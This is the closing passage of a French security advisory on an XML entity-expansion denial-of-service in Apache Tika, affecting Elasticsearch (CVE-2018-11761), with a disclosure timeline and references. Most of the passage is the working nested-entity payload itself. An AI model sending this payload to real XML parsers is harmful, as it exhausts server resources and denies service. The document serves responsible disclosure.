00000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000" >
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;" >
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;" >
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;" >
]>
<foo>&d;</foo>
* Ensuite, l'utilisation du processeur augmentera rapidement et visiblement.
# Conclusion
Cette vulnérabilité est en réalité causée par l'implémentation du parseur XML d'Apache Tika. Par ailleurs, je pense que tous les services utilisant Tika pour analyser des fichiers XML devraient également être impactés.
# Chronologie
* 2018-07-25 : Signalé à l'équipe de sécurité Apache et à l'équipe de sécurité du produit Elastic.
* 2018-07-26 : Accusé de réception et confirmation de la part du PMC Apache Tika.
* 2018-07-27 : Accusé de réception de la part de l'équipe de sécurité du produit Elastic.
* 2018-09-19 : Réception de l'annonce [CVE-2018-11761](https://lists.apache.org/thread.html/5553e10bba5604117967466618f219c0cae710075819c70cfb3fb421@%3Cdev.tika.apache.org%3E) de l'équipe Apache Tika et confirmation que le problème a été corrigé dans Apache Tika 1.19 ou ultérieur.
* 2018-11-27 : L'équipe de sécurité du produit Elastic a confirmé que ElasticSearch 6.4.3 corrige le problème.
# Références
* http://avfisher.win/archives/1021
* https://github.com/elastic/elasticsearch
* https://github.com/apache/tika
* http://www.ws-attacks.org/XML_Entity_Expansion
* https://xerces.apache.org/xerces2-j/javadocs/api/javax/xml/XMLConstants.html#FEATURE_SECURE_PROCESSING
* https://docs.oracle.com/javase/8/docs/api/javax/xml/XMLConstants.html
* http://blog.bdoughan.com/2011/03/preventing-entity-expansion-attacks-in.html
* http://openjdk.java.net/jeps/185